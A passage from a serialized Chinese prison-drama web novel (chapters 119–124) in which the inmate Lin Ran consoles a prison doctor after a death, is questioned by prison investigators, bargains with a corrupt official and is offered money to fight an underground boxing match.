很轻,压抑的,像动物受伤后从喉咙深处挤出来的呜咽。不是哭,比哭更碎,更绝望。
狱警拧开门锁,回头催:“快点。”
林燃脚步顿了顿,朝配药间方向瞥了一眼。门缝里,能看见半截白大褂的下摆,垂在地上,布料皱成一团,沾着不知道是药渍还是别的什么污迹。
是苏念晚。
他几乎能想象出她此刻的样子——蹲在药柜和墙壁的夹角里,抱着膝盖,头发散下来盖住脸,肩膀缩着,抖得像片风里的叶子。
害死一个人,哪怕那个人该死,那滋味也够她受的。
“林燃?”狱警又催了一声,语气里带上了不耐烦。
“来了。”林燃应道,跟着穿过铁门。
回到监舍楼,狱警把他交给值班管教就离开了。
放风还没结束,走廊里空荡荡的,只有远处传来隐约的广播声,念着千篇一律的改造文章。
林燃没回312。
第一百一十九章 吃醋
他向值班管教打报告:“领导,我……我腿有点痛,老伤发了,想去看下”。
值班管教正听着收音机里的“马彩”节目,听得聚精会神。
只回头瞥了一眼林燃,就露出厌恶表情:“麻烦,有伤也憋着,没看见我正有事……”
“领导,我……我自己可以去医务室,那边也有管教民警在,我认识,您忙您的,我这过去就马上向那边报告。”
三监区和医务室在一个大隔间,犯人跑不出去,那边过转角就有另一名管教站着。
而且这边都是劳改队,犯人都算老实,管理也不像一监区那些重犯监区严格。
沉迷六合彩的管教,此时摆摆手,示意林燃自己去。
林燃转身,独自沿着走廊往水房方向走,脚步放得很轻。
水房在走廊尽头,隔壁就是医务室的后勤通道,平时少有人走。通道门通常锁着,但今天——他伸手推了推,门轴发出细微的“吱呀”声,开了条缝。
运气不错。
他侧身挤进去。通道很窄,堆着废弃的病历架和几个落满灰的纸箱。
尽头有扇小窗,窗外是监狱后院那片荒草地,草长得半人高,在下午稀薄的日光下泛着枯黄。
林燃先前没有看错。
苏念晚果然在这儿。
她没蹲在配药间,而是蜷在通道拐角的阴影里,背靠着冰凉的墙壁,头埋在膝盖上。白大褂胡乱裹在身上,扣子扣错了两颗,衣领歪斜着,露出底下浅灰色毛衣的领口。
听见脚步声,她猛地抬头。
眼睛红肿,脸上泪痕交错,唇色惨白。看见是林燃,她瞳孔缩了缩,像是想躲,但身体僵着没动,只是更紧地抱住膝盖。
“你……”她开口,声音哑得厉害,像砂纸磨过铁皮,“你怎么来了?”
林燃没回答,走过去,在她面前蹲下。两人距离很近,能闻到她身上那股混合着消毒水、眼泪和淡淡栀子花香的气息——那香味是她偷偷用的香包,藏在白大褂内袋里,违反规定,但她一直留着。
“陈有仁死了。”他说,声音很平。
苏念晚肩膀猛地一颤。
“我知道。”她低下头,盯着自己绞在一起的手指,指甲缝里还残留着一点药粉的白色痕迹,“我……我看到了。救护车拉走的时候,盖着白布。”
“怕了?”
苏念晚没说话,只是更用力地咬住下唇。血丝渗出来,在苍白的唇上染开一点猩红。
林燃伸手,拇指按在她唇上,抹掉那点血。动作算不上温柔,甚至有点粗鲁。苏念晚瑟缩了一下,但没躲。
“药是你调的,剂量是你算的。”林燃盯着她的眼睛,一字一句,“但让他死的是他自己。他做的那些事,够他死十次。”
“可我是医生……”苏念晚声音发颤,“我该救人,不是……”
“医生也救不了所有人。”林燃打断她,手从她唇上移开,落在她肩膀上。囚服布料粗糙,底下是她单薄的肩骨,硌手。
“有些人,救活了,只会害死更多人。”
苏念晚抬起眼看他。泪水还在眼眶里打转,但没掉下来,只是那么蓄着,让那双原本清澈的眼睛蒙上一层模糊的水光。
“你妈,”林燃忽然转了话题,“这个月的透析费交了吗?”
苏念晚愣了一下,随即点头:“交了……你上次给的钱,还剩一些。”
“那就好。”林燃说,手从她肩上滑下来,握住她的手腕。她的手腕很细,皮肤凉,脉搏在指腹下跳得又急又乱。
“记住,你做这一切,是为了让她活下去。陈有仁那种人,死一个,这世上能多活几个像你妈这样的。”
他说得直接,甚至残酷。但在这地方,温柔没用,得把道理掰碎了,揉进骨头里,人才不会垮。
苏念晚沉默了许久。通道里只有两人压抑的呼吸声,和窗外风吹过荒草的沙沙声。
“林燃,”她忽然开口,声音轻得像叹息,“你……你会看不起我吗?”
“看不起你什么?”
“我……我害死人……”
“我也害过。”林燃说得很淡,“在这地方,想活,手上都得沾点东西。区别只在于,沾的是该沾的,还是不该沾的。”
他顿了顿,手指收紧,握得她腕骨微微发疼:“陈有仁是该死的。你做的,没错。”
这话像某种赦免。
苏念晚眼眶里的泪水终于滚下来,不是之前那种崩溃的涌出,而是静静流淌,顺着脸颊,滴在两人交握的手上。温热,转瞬冰凉。
林燃没给她擦眼泪。他只是看着她哭,看着那些泪水洗过她脸上残存的惊恐和愧疚,露出底下原本的清秀轮廓,还有那股被逼到绝境后破土而生的、带着狠劲的韧性。
哭够了,她吸了吸鼻子,抬手抹了把脸。动作有点狼狈,但眼神清亮了些。
“听说你……你今天去会见了?”她问,声音还哑,但稳了点。
林燃没想到这姑娘居然开始关心起自己的动向,下意识的就是一惊。
可能上辈子过的都是痛苦煎熬的日子,这辈子虽然身体健全,但也危机四伏,提心吊胆,没过过舒心日子,所以第一时间点的反应,是警惕。
她为什么打探自己的举动?
难道要对自己不利?
可当他对上苏念晚婆娑泪眼时,他猛地反应过来。
她是爱上自己了!
两人都已经发生关系了。
这是女性出于本能的关注自己心上人的动向。
林燃顿时有些窘迫起来。
他该怎么回答?难道说自己去见另一个大美女了?
虽然和秦墨没什么特殊关系,可毕竟探视会见的理由和关系,填的都是情侣、爱人。
要是给这姑娘知道自己在外面有个“女朋友”……
这后果不敢想象。
林燃突然觉得脖子一冷。
支吾了一声。
“嗯。”
“见谁?”
“咳咳。”林燃松开她的手,站起身,不像平日里的游刃有余。
略显生硬的转移了话题:“我最近有个大事……我案子的上诉,递到中院了。”
第一百二十章 温存
苏念晚眼睛睁大了些。她知道“上诉”对林燃意味着什么——虽然上诉几乎不可能翻案,但如果操作的好,减刑大有可能。
“那……那你是不是……”
“有机会。”林燃接过话,转身看向窗外。荒草在风里起伏,像一片枯黄色的海。“但机会是机会,能不能抓住,还得看。”
身后传来窸窣的声响。苏念晚也站起来了,白大褂的衣摆扫过地面,带起一点灰尘。她走到他身边,和他并肩站着,看向同一片荒草。
“林燃,”她忽然说,“如果……如果你能出去,你会做什么?”
问题来得突然。
林燃沉默了几秒。出去?这两个字在脑子里转了一圈,竟有些陌生。他重生回来快一年,每一天都在算计怎么活下去,怎么报仇,怎么在这座钢铁丛林里杀出一条路。出去之后的事,反而没怎么想过。
“先把该了结的了结了。”他最终说,声音很低,“然后……找个地方,安静待着。”
他说的是实话。前世那些颠沛流离、家破人亡的苦,他尝够了。这一世如果真能翻身,他只想把仇报了,然后带着家人,离这些肮脏事远远的。
苏念晚侧过头看他。窗外的光从侧面打过来,勾勒出他瘦削但轮廓分明的侧脸,下颌线绷得紧,眼神沉在阴影里,看不清情绪。
“安静待着……”她重复了一遍,语气里有点恍惚,“听起来……挺好的。”
两人都没再说话。
通道里安静下来,只剩下呼吸声交叠。远处监狱广播还在响,继续念着千篇一律的改造文章,声音透过墙壁传进来,模糊得像另一个世界的事。
苏念晚忽然动了动。
她转过身,面对林燃,伸手,轻轻抓住他囚服的衣角。布料粗糙,洗得发白,边角已经起了毛球。她手指捻着那些毛球,动作很慢,像在数着什么。
“林燃,”她叫他的名字,声音轻得几乎听不见,“我……我能抱你一下吗?”
林燃没说话。
她当他默认了,往前挪了半步,额头抵在他胸口。囚服底下是他温热的体温,还有沉稳的心跳,一下,一下,敲在她耳膜上。
她伸出手臂,环住他的腰。动作很轻,带着试探,像怕碰碎什么。
林燃站着没动,任她抱着。他的手垂在身侧,指尖动了动,最终抬起来,落在她背上。没用力,只是虚虚地搭着。
通道里光线昏暗,两人的影子在墙壁上投出模糊的一团,分不清彼此。窗外荒草还在风里摇,沙沙的响,像时间流过去的声音。
苏念晚把脸埋在他胸口,深深吸了口气。消毒水的味道,还有独属于林燃的、混合着汗水和监狱那种特殊气息的味道,涌进鼻腔。不好闻,但真实,让她那颗飘在半空的心,一点点落回实处。
“谢谢。”她闷声说,声音透过布料传出来,瓮声瓮气的。
谢什么?谢他没看不起她?谢他给她指了条路?谢他此刻这点算不上温柔的陪伴?
林燃没问。
他只是抬手,在她背上轻轻拍了两下。动作生硬,像在哄一个不懂事的孩子。
足够了。
在这地方,一点真实的温度,就足够让人撑下去。
不知过了多久,远处传来交班的哨声。苏念晚松开手,往后退了半步,理了理凌乱的头发和白大褂。脸上泪痕干了,留下几道浅浅的印子,但眼神清亮,那股失魂落魄的劲儿散了。
“我该回去了。”她说,“下午还有一批药要配。”
“嗯。”林燃点头。
苏念晚转身要走,又停下来,回头看他:“你……小心点。陈有仁这事……我总感觉不会就这么算了。”
“知道。”
她看了他最后一眼,嘴唇动了动,似乎还想说什么,但最终只是点了点头,转身消失在通道拐角。
脚步声远去。
林燃独自站在昏暗里,看着窗外那片荒草。风大了些,草浪翻涌,像底下有什么东西在挣扎着要破土而出。
他抬手,摸了摸胸口刚才被苏念晚靠过的地方。布料上还残留着一点湿意,是她的眼泪。
温存吗?
算不上。
但在这冰冷彻骨的地方,两个手上沾着血、心里揣着恨的人,靠在一起,借彼此那点体温熬过最冷的时刻——这大概就是他们能给出的,最接近“温存”的东西了。
他转身,朝通道另一头走去。
脚步声在空旷里回荡,稳而沉。
路还长,但至少此刻,他知道自己不是一个人走。
…………
林燃推开312监舍铁门时,下午的光正斜切进来,在地面铺了块惨白的梯形。
监舍里那股熟悉的气味——汗酸、霉斑、劣质肥皂和便池氨水混合成的、属于监狱的专属气息——扑面而来。他深吸了一口,竟觉得比会见室里那股消毒水味儿更实在。
周晓阳正蹲在便池旁刷一双破胶鞋,刷子刮在硬胶底上,发出沙啦沙啦的响声。听见门响,他抬起头,手里的动作停了。
“燃哥。”
林燃“嗯”了一声,反手带上门。铁门撞在门框上,闷响在狭小空间里荡了荡。
刀疤辉歪在自己铺位上,左手小指还裹着脏兮兮的布条。他侧过身,眼睛在林燃脸上扫了一圈,没说话,只是喉结动了动。
牛哥和麻杆缩在角落,两人正分抽半截烟屁股,烟头那点火光在昏暗中一明一灭。见林燃进来,他们不约而同把烟掐了,动作有点急,像做了什么亏心事。
其实没有。
在这地方,所有人在面对“老大”时都是这副德性——小心翼翼的,带点窥探,又不敢真看进眼睛里。
林燃走到头板位置坐下。铺盖卷上落了层灰,他伸手拍了拍,灰尘在光柱里飞扬起来,细小的颗粒缓慢旋转,像某种无声的倒计时。
他闭上眼。
脑子里那根弦,从会见室开始就一直绷着,绷得太紧,现在反而有些发木。狗皮蛇落网。上诉进中院。两件事撞在一起,像黑暗中擦出的火星,烫得人心尖发颤。
第一百二十一章 问话
机会来了。
真正的机会。
但机会这玩意儿,在监狱里往往和陷阱长得一模一样。你得凑近了看,闻,甚至伸手去摸,才知道底下是路还是坑。
“燃哥。”
周晓阳凑过来,声音压得低,带着点犹豫。他手里还捏着那只湿漉漉的破胶鞋,水滴在地面上,洇开一小片深色的印子。
“说。”林燃没睁眼。
“刚才……放风的时候,我听几个人嘀咕。”周晓阳舔了舔嘴唇,“说你的上诉……材料递到中院了。好像是有个管教‘说漏嘴’了。”
林燃眼皮动了一下。
消息传得倒是快。
看来秦墨那边消息利索,程序确实启动了。
但管教“说漏嘴”?这种地方,没有真正的“说漏嘴”,只有故意的“放风声”。
谁放的?为什么?
林燃只想了一下,就明白这肯定是幕后黑手放出来的“风”。
他现在在监狱里,一个囚犯,四周是虎视眈眈的敌人,而上诉期,特别对于林燃这么一个希冀减刑乃至翻案的囚犯来说,这就是最脆弱的时候。
这时的表现就很关键。
任何敌人都会选择这个时候出手。
这等于是明晃晃的叫人来对付自己了。
“还有谁知道了?”林燃问。
“估摸着……该知道的都知道了。”周晓阳声音更低了,“白癜风那几个以前跟笑面佛的,今天好像又都出来了,放风时眼神不对劲,往咱们这边瞟了好几回。码头帮的大眼仔倒是没动静,但……北佬帮那几个,特意从咱们这边绕了两圈,想打听情况。”
林燃睁开眼。
光线刺目,他眯了眯,适应了一下。监舍里其他三双眼睛都盯着他,等着他说话。
“知道了。”他就吐出三个字。
没下文了。
周晓阳张了张嘴,想再问,被林燃一个眼神止住。刀疤辉翻了个身,面朝墙壁,左手小指在昏暗里蜷了蜷。牛哥和麻杆重新摸出那半截烟屁股,又点上了,这次没避着。
有些事,急没用。
得等。
等风来,等浪起,等那些藏在暗处的东西自己浮上来。
…………
风来得比预想的快。
第二天上午,林燃刚走出监舍楼,准备去车间上工,就在走廊拐角被堵住了。
不是白癜风的人,也不是码头帮或北佬帮。
是两个穿深蓝色制服的狱警,面生,板着脸,自称是“狱侦科”的。
为首的是个四十来岁的方脸,眼袋很重,看人的时候眼皮耷拉着,像没睡醒。但那双眼睛扫过来时,里头没什么温度。
“林燃?”方脸开口,声音干巴巴的。
“是。”林燃站定。
“跟我们走一趟。”方脸侧了侧身,示意方向——不是车间,是办公楼。
“什么事?”
“例行谈话。”方脸说得简单,“关于你最近在狱内的表现,有些情况需要核实。”
话说得官方,但里头那点不容置疑的劲儿,谁都听得出来。
周晓阳在后面下意识的想跟,被另一个狱警伸手拦住:“没叫你,回去。”
林燃回头看了周晓阳一眼,眼神示意他别动,然后转身,跟着两个狱侦科的人走了。
皮鞋跟敲在水磨石地面上,咔,咔,咔。声音在空旷的走廊里撞出回声,一声叠一声,闷得人心头发紧。
办公楼三层,狱侦科谈话室。
房间不大,一张桌子,三把椅子,墙上挂着“坦白从宽,抗拒从严”的红色标语,字迹斑驳,像褪了色的血。窗户焊着拇指粗的铁栏杆,外头是灰蒙蒙的天。
方脸在桌子后面坐下,另一个年轻点的狱警坐在旁边,摊开记录本。
“坐。”方脸指了指对面的椅子。
林燃坐下。椅子是硬木的,没垫子,硌人。
“姓名,监区,编号。”方脸开始走流程。
林燃一一答了。
“最近在监区,有没有违反监规的行为?”方脸抬眼看他,眼皮还是耷拉着,但目光像两把小刮刀,“打架,斗殴,私藏违禁品,或者……参与赌博?”
问题一个个抛出来,都是常规问话,但林燃听出了里头的指向性——重点在“赌博”。笑面佛倒台前,他在三监区搞过足球赌局,这事有部分人知道。
“没有。”林燃答得干脆,“最近一直在专心劳动改造。”
“是吗?”方脸翻开手里一个文件夹,抽出几张纸,扫了一眼,“有人反映,你前段时间在监区内组织大规模赌博活动,涉及人数众多,赌资数额较大。”
“谁反映的?”林燃问。
“这个你不用知道。”方脸合上文件夹,身体前倾,手肘撑在桌面上,“林燃,我们狱侦科讲究证据。没有确凿证据,不会随便找人谈话。但你也要明白,监狱里,有些事不是你说没有就没有的。”
话里藏着钩子。
林燃没接茬,只是看着他。
“听说你的上诉材料,递到中院了?”方脸忽然转了话题,语气随意得像在聊天气。
“我不清楚。”林燃说,“上诉是家里人在办。”
“哦。”方脸点点头,手指在桌面上敲了敲,“那你要注意了。上诉期间,狱内表现是重要参考。如果这个时候……被查实有严重违规行为,可能会影响上诉结果。”
他顿了顿,补了一句:“甚至可能被认定‘无悔改表现’,建议加刑。”
话说得轻,分量却重。
空气凝了几秒。
年轻狱警手里的笔停在记录本上,墨水渗开一小团。
林燃坐在硬木椅子里,背挺得直,脸上没什么表情。他看着方脸,看着那双耷拉的眼皮下藏着的东西——不是真的想查他,是在敲打,在施压。
谁让方脸来的?
彭振。
只能是彭振。笑面佛死了,但彭振还在。
林燃的上诉已经启动,他在监狱里势头不错,不仅没被弄死,反而反杀了不少想弄死他的对手。
这架势,让人不得不怀疑,这小子不一样了,甚至让幕后黑手担心当年那桩“运毒案”有可能被重新翻出来。
彭振怕了,他得在林燃翻案之前,先给林燃套上新的枷锁,最好能直接加刑,把这颗定时炸弹的引线再埋深一点。
第一百二十二章 加刑
“领导,”林燃开口,声音很平,“我最近确实在专心改造。劳动任务超额完成,监规遵守良好。如果有人说我参与赌博,我愿意和他当面对质。”
话说到这份上,等于把球踢了回去。
方脸盯着他看了几秒,忽然笑了。笑容很浅,没什么温度。
“行,你有这个态度就好。”他站起身,示意谈话结束,“回去继续好好改造。记住,上诉期间,更要谨言慎行。”
“明白。”林燃也站起来。
走出谈话室时,方脸在后面又说了一句,声音不高,但足够清晰:“对了,彭副监狱长很关心你的改造情况。特意交代,要‘重点关注’。”
重点关照。
四个字,像四颗钉子,钉在背上。
…………
回到车间,缝纫机的嗡嗡声依旧。
林燃坐到自己的工位上,拿起布料,穿针,走线。动作稳当,针脚密实,和平时没什么两样。
但周围的气场变了。
同一条流水线上的人,眼神往他身上瞟的频率高了。不是好奇,是警惕,还有一点不易察觉的疏远——被狱侦科“重点谈话”的人,在监狱里等于被打上了标记,沾上容易惹麻烦。
林燃当没看见。
针尖扎进布料,拉出细长的线。脑子里却在复盘刚才的谈话。
彭振动手了,比他预想的快,也比他预想的直接。看来上诉程序启动,确实戳到了那位的痛处。
但彭振不敢直接弄死他——至少现在不敢。笑面佛刚死,市局的眼睛还没完全挪开,这时候再出人命,太扎眼。所以他换了个法子:从狱规下手,找由头加刑,把林燃的刑期往上堆,堆到翻案无望,或者干脆堆到死。
阴损,但有效。
问题是,林燃现在不能硬扛。上诉是关键时期,他得保持“良好改造表现”,哪怕只是表面上的。
那赌局的事呢?
方脸既然提了,说明有人递了材料。谁递的?白癜风?笑面佛的残部?还是别的什么人?
林燃手里的针停了停。
布料在指尖下微微发烫,是缝纫机针头高速摩擦带来的温度。他松开脚踏板,机器停了,嗡嗡声戛然而止,周围瞬间安静了不少。
得找人问问。
…………
下午放风,林燃没往人堆里扎。
他走到操场边缘,靠墙坐下。水泥墙被午后的太阳晒得发烫,隔着囚服都能感觉到那股热度。他眯着眼,看远处铁丝网外的天空。
灰白,没什么云,像块洗褪了色的布。
“燃哥。”
铁头不知什么时候溜了过来,蹲在他旁边,手里捏着半截烟,没点。
“嗯。”林燃应了一声。
“上午……狱侦科找你?”铁头压低声音。
消息传得真快。林燃没否认:“例行谈话。”
“不只是例行吧?”铁头往地上啐了口唾沫,“我听说,是彭监那边递的话,要查你前阵子赌局的事。”
林燃侧过头看他:“你怎么知道?”
“食堂老王头说的。”铁头声音更低了,“他侄子在外头开车,偶尔给彭监跑腿。昨天送东西的时候,听见彭监在办公室打电话,提到你的名字,说什么‘赌局’‘证据’‘加刑’之类的。”
老王头。食堂那个总耷拉着眼皮、打菜手抖的老油子。没想到还有这层关系。
“他还听见什么?”林燃问。
“没了,就这几句。”铁头摇头,“燃哥,你得小心。彭监这次是动真格的,虽然不知道你为什么得罪了这么大个领导,但现在笑面佛没了,他少了条财路,正憋着火呢。你这上诉……等于往他伤口上撒盐。”
话糙理不糙。
林燃沉默了一会儿。远处,白癜风带着几个人从监舍楼出来,吊着的胳膊晃着,眼神往这边扫,阴冷冷的。
“铁头,”林燃忽然说,“赌局那事,当初参与的人,口风紧不紧?”
“紧!”铁头立马拍胸脯,“都是信得过的兄弟,再说了,当初用的是点数,没实物,查无对证。”
“那就行。”林燃点头,“最近别碰赌,什么都别碰。”
“明白。”铁头应了,又犹豫了一下,“燃哥,那咱们……就这么干等着?”
“等?”林燃扯了扯嘴角,“不等。”
他站起身,拍了拍屁股上的灰。阳光刺眼,他抬手挡了挡,目光穿过指缝,落在操场西南角——码头帮的人聚在那儿,大眼仔正和手下说着什么。
“走,”林燃说,“去见个人。”
…………
见的是李昌东。
这次不是林燃主动找,是李昌东派人来叫的。时间掐得准,就在狱侦科谈话后的第二天下午。
地点还是那栋独立的二层小楼,但房间换了,不是上次那个仓库谈话室,是间正经的办公室。窗明几净,文件柜擦得锃亮,空气里有股淡淡的空气清新剂味儿,掩不住底下那点陈腐的官气。
李昌东坐在宽大的办公桌后,脸色比上次见时好了些,他手里转着支钢笔,看见林燃进来,抬了抬下巴。
“坐。”
林燃在对面椅子上坐下。椅子有软垫,比狱侦科那把舒服。
“狱侦科找你谈话了?”李昌东开门见山。
“找了。”林燃答。
“问什么?”
“赌局的事。”
“你怎么说的?”
“我说没有。”林燃看着他,“我最近在专心改造。”
李昌东笑了。笑容很淡,没什么温度。
“专心改造……”他重复了一遍,钢笔在指间转得更快了,“林燃,你跟我说实话,赌局那事,到底有没有尾巴?”
“没有。”林燃答得干脆。
“真的没有?没实物?没账本?”
林燃点头,当初设计的时候就想到了,用的是点数,就算有人举报,也查不到证据。
但这些话不能和眼前的李昌东讲。
李昌东盯着他看了几秒,像是在判断这小子弄赌局的水平。然后,他放下钢笔,身体往后靠进椅背。
“彭振那边,盯上你了。”他说得直接,“他不光要查赌局,还要查你之前所有‘违规’记录。打架斗殴,顶撞管教,私藏违禁品……随便哪一条坐实了,都能往上加刑期。”
第一百二十三章 敲诈
林燃没说话。
“上诉期间加刑,意味着什么,你比我清楚。”李昌东顿了顿,手指在桌面上敲了敲,“中院那边看到新的加刑裁定,会怎么想?还会觉得你‘悔改表现良好’,给你翻案的机会吗?”
话说到这份上,意思再明白不过。
彭振要断林燃的后路。
“李监,”林燃开口,声音平稳,“您找我来,不只是为了告诉我这些吧?”
李昌东嘴角扯了扯,像是欣赏他的直接。
“当然不是。”他从抽屉里拿出个牛皮纸信封,推到林燃面前,“看看。”
林燃打开信封,里面是几张照片。拍的是纸页,内容模糊,但能看清抬头——“安江市中级人民法院刑事申诉案件登记表”。底下有几行手写批注,字迹潦草,但关键词清晰:“案情复杂”、“证据疑点”、“拟调卷复查”。
是上诉材料的内部流转记录。
秦墨说的没错,案子确实递到中院了,而且引起了注意。
“这东西,我费了点劲才搞到。”李昌东说,语气里带着点自得,“中院那边,我有熟人。案子现在在刑一庭一个老法官手里,这人……比较较真,喜欢刨根问底。”
林燃放下照片,抬起头。
“李监想说什么?”
“我想说,你有机会。”李昌东身体前倾,手肘撑在桌面上,“但机会是机会,能不能抓住,得看你自己。彭振那边在给你下绊子,我这边……可以帮你搬开几块石头。”
条件来了。
林燃等着。
“两个事。”李昌东伸出两根手指,“第一,狱侦科那边,我打过招呼了。赌局的事,查无实据,结案。但彭振不会罢休,他还会从别的地方下手。所以你得干净,最近什么都别碰,老老实实劳动,别给人抓把柄。”
“明白。”林燃点头。
“第二,”李昌东顿了顿,眼神锐利起来,“我帮你,不是白帮,这天底下没有免费的午餐……”
话说得赤裸。
林燃看着他:“李监,你放心,我懂。”
“嘿嘿,你小子,从第一天我看到你,就知道你不简单!”
目的达到,李昌东笑着摆摆手,意思会谈到此为止。
林燃盯着李昌东那张油光水滑的脸,脑子里飞快地转。贪,这人贪得无厌,但也正因为贪,他才敢在彭振的压力下还伸手捞自己——他赌林燃能顶住,能给他带来更大的利益。
赌鬼啊。
“感谢领导。”林燃最终吐出一个字。
李昌东笑了,这次笑容真实了点。
“聪明人。”他收回照片,重新锁进抽屉,“那就这样。最近低调点,别惹事。彭振那边……我帮你盯着。”
…………
走出小楼时,天已经擦黑。
监狱里的路灯稀稀拉拉亮起来,在地上投出一圈圈昏黄的光晕。林燃沿着墙根走,步子不快,脑子里还在消化刚才的对话。
李昌东这条线,暂时稳住了。但代价不菲——自己得尽快喂饱这个无底洞。
而且他现在没得选。
上诉是关键,他必须争取一切能争取的力量,哪怕是与虎谋皮。
回到312监舍,晚饭已经送过了。周晓阳给他留了饭,一碗稀粥,半个馒头,还有一小撮咸菜。粥已经凉了,表面结了层薄薄的膜。
林燃坐下,慢慢吃。
周晓阳凑过来,低声说:“燃哥,下午放风的时候,大眼仔来找过你。”
林燃筷子顿了顿:“说什么了?”
“没说具体,就问你什么时候有空,想跟你聊聊。”周晓阳顿了顿,“我看他那样……像是有事。”
有事?
林燃喝完最后一口粥,放下碗。馒头掰碎了泡在粥里,已经软烂,他用勺子一点点刮干净,送进嘴里。
粮食不能浪费,在这地方是铁律。
“还有,”周晓阳声音压得更低,“刀疤辉下午去打水,碰上白癜风那边的人了。听他们嘀咕,说什么‘佛爷的仇不能不报’,‘等机会’之类的。”
林燃抬眼。
白癜风那条疯狗,果然没消停。笑面佛死了,他失了靠山,但仇恨没散。现在上诉消息传开,林燃成了焦点,正是下手的好时机。
“让刀疤辉盯着点。”林燃说,“白癜风那些人,最近和谁接触,说什么,做什么——我要知道。”
“成。”周晓阳点头,又犹豫了一下,“燃哥,咱们……是不是该做点什么?总不能一直被动挨打吧?”
林燃没立刻回答。
他站起身,走到监舍门口,透过门上的小窗往外看。走廊里灯光昏暗,远处传来管教巡逻的脚步声,由远及近,又慢慢走远。
被动挨打?
不。
他得动起来,但不能明着动。
“大家都起来一下,”他转回身,声音不高,但老大的话就是有效果。
黑暗里唰唰唰几声,监室里几个人影都半坐在床上。
大家都不睡了,等着他指示。
“你们在这里,知不知道安江这里,哪些犯人之前是‘大盖帽’?”
林燃这话让刀疤辉他们有些奇怪,大盖帽?这在安江的语境里,指的是政法系统,犯了事进来的犯人。
就是公检法贪污受贿、徇私枉法坐牢进来的。
这在安江里面,都是些敏感人物!没人敢轻易透露自己之前政法系统的身份。
一旦透露就是全民公敌!
犯人最恨的就是他们这些戴大盖帽的。
“燃哥,这些‘狗腿子’,都是在四监区,那边都是职务犯多,你怎么突然要找这些人?这些人不靠谱!都是些背信弃义的垃圾。”
在犯人眼里,你都穿那一身制服了,结果还贪污受贿、徇私枉法,都看不起这种人。
所以安江这边也会尽量把这些人放在一个监区收押,平日里和其他监区交流机会少,免得出现矛盾,算是一种保护。
林燃皱了下眉头,没详细解释。
“有用,最好是法院出来的。”
“这‘判官’啊,那估计少……”
刀疤辉正冥思苦想时,后面的“麻杆”突然开口。
“我倒知道一个,我是盗窃进来的,和我一批的人,有一个以前好像是法院的。”
第一百二十四章 再打拳
“谁?”
“老程。”麻杆说,“三监区那个,以前在基层法院干过书记员,因为盗窃罪进来的,他之前和我一个‘入监队’,后来有人认出他是‘狗皮子’,挨了顿狠打,干部就把他调到四监区去了!”
“麻杆”一说完,刀疤辉马上就反驳道:“你吹得吧?哪有‘狗皮子’偷东西的,还是个‘判官’?这他们收钱都收不完。”
平时不敢和刀疤辉怼的麻杆,此时却梗起来脖子。
“我说真的!他这人很有意思,喜欢偷东西,真喜欢,不像我们是职业,他是爱好,技术又不行,就被抓住了。”
“你就吹吧……”
“别吵。”
林燃止住了两人的争执,望向麻杆那边:“那行!你明天想办法找到他,问他点事。”
“问什么?”
“问上诉的流程。”林燃走回床边坐下,“中院受理后,一般多久开庭?内部审查有什么潜规则?一般法官的偏好是什么——这些,他应该知道。”
“麻杆”眼睛亮了一下:“懂了!我去问!”
“小心点。”林燃叮嘱,“别让白癜风那些人看见你们接触。”
“放心。”
布置完这件事,林燃躺下,面朝墙壁。
脑子里那根弦还在绷着,但思路清晰了些。上诉是主线,不能乱。
彭振的阻挠、李昌东的算计、码头帮的试探、北佬帮的观望、白癜风那伙人的仇恨——这些都是支线,得一条条理,一个个破。
但破局需要本钱。
他现在最缺的,就是本钱。
但林燃没想到,这钱第二天一早就自己找了过来。
…………
第二天一早吃早饭。
安江监狱这个时候还没改造。
犯人吃饭不用挂铐子。
吃饭的位置是按监室划分的。
坐立行走,都按指令,不能想坐哪就坐哪。
就算是老大,也得让管教点了哪个位置,他才能坐哪。
林燃此时做的就是312监舍老大的位置——铁板凳的最外面。
他正低头喝着薄粥呢。
突然感觉身后被人点了一下。
他脸色突变!
在监狱里,一点动作可能都是挑衅。
特别对于老大级别的人物,后背不能被人随便点的。
他猛地一回头,身边周晓阳几个都反应过来,也跟着回过身子。
以为出什么事了。
结果没想到是大眼仔笑着脸,瞅着他。
“燃哥。”
“大眼。”林燃收了杀气,撇着眼珠子望他:“有事?”
“有事。”大眼仔也不绕弯子,压低声:“想找你谈笔生意。”
听到这,旁边刀疤辉他们都转过头去了。
“什么生意?”
“黑拳。”大眼仔吐出两个字,声音压得很低,“下周六,老地方,锅炉房。我们码头帮对北佬帮,三场定输赢。赌注不小,外面的大佬都下了注。”
林燃没说话,等着。
“我们这边,缺个人。”大眼仔盯着他,“笑面佛倒了之后,三监区能打的人不多。北佬帮那边出了三个人,都是硬茬子。我们这边……凑不齐。”
“所以找我?”
“对。”大眼仔点头,“你上次打猴子那场,不用说,大家都知道你手黑,脑子快,是个打拳的料。而且你现在……缺钱吧?”
最后一句话说到了点子上。
林燃确实缺钱。李昌东那边得先攥住。上诉估计也需要打点,狱内需要打点,甚还要父母那边、苏念晚那边……
“什么价?”林燃问。
“一场,五千。”大眼仔伸出五根手指,“不管输赢,上场就给。赢了,再加五千。”
一万。
林燃心脏跳得快了些。这数目不小,在监狱里……不,在哪里是笔巨款。
“对手是谁?”他问。
“北佬帮出的三个人,具体名单还没定,但肯定有‘疤脸’。”大眼仔顿了顿,“越南回来的,下手狠,专打关节。另外两个,可能是‘铁拳李’,或者他们新找的人。”
都是硬茬子。
尤其是疤脸,林燃听说过。越南地下拳场混出来的,肘膝功夫了得,实战经验丰富。对上他,风险不小。
但一万块钱……
“我需要考虑。”林燃说。
“可以。”大眼仔也不逼他,“最迟后天给我答复。不过林燃,我提醒你一句——这不仅是赚钱的机会,也是站队的机会。你帮码头帮打这场拳,以后在三监区,咱们就是自己人。”
话说得明白。
打拳,不仅是赚钱,也是表态。上了码头帮的拳台,就等于站了码头帮的队。北佬帮那边会怎么想?彭振会怎么想?
但反过来想,不站队,就能安全吗?
笑面佛的残部在盯着,彭振在施压,李昌东在算计……孤狼在丛林里,活不长。
“后天给你答复。”林燃重复了一遍。
“成。”大眼仔拍了拍他肩膀,
林燃端着碗,没立刻回话。粥面上浮着的米粒稀得能照见人影,他盯着那点晃动的倒影,脑子里那笔账算得飞快。
一万块。
这数目像块烧红的烙铁,烫得他喉咙发紧。李昌东那边是喂不饱的貔貅,上诉打点需要钱,父母那头虽说有秦墨接济,可终究不是长久之计。苏念晚母亲每个月的透析费更是悬在头顶的刀——上次那一万块撑不了多久。
钱是胆。在这地方,没胆,寸步难行。
可这钱,拿着烫手。
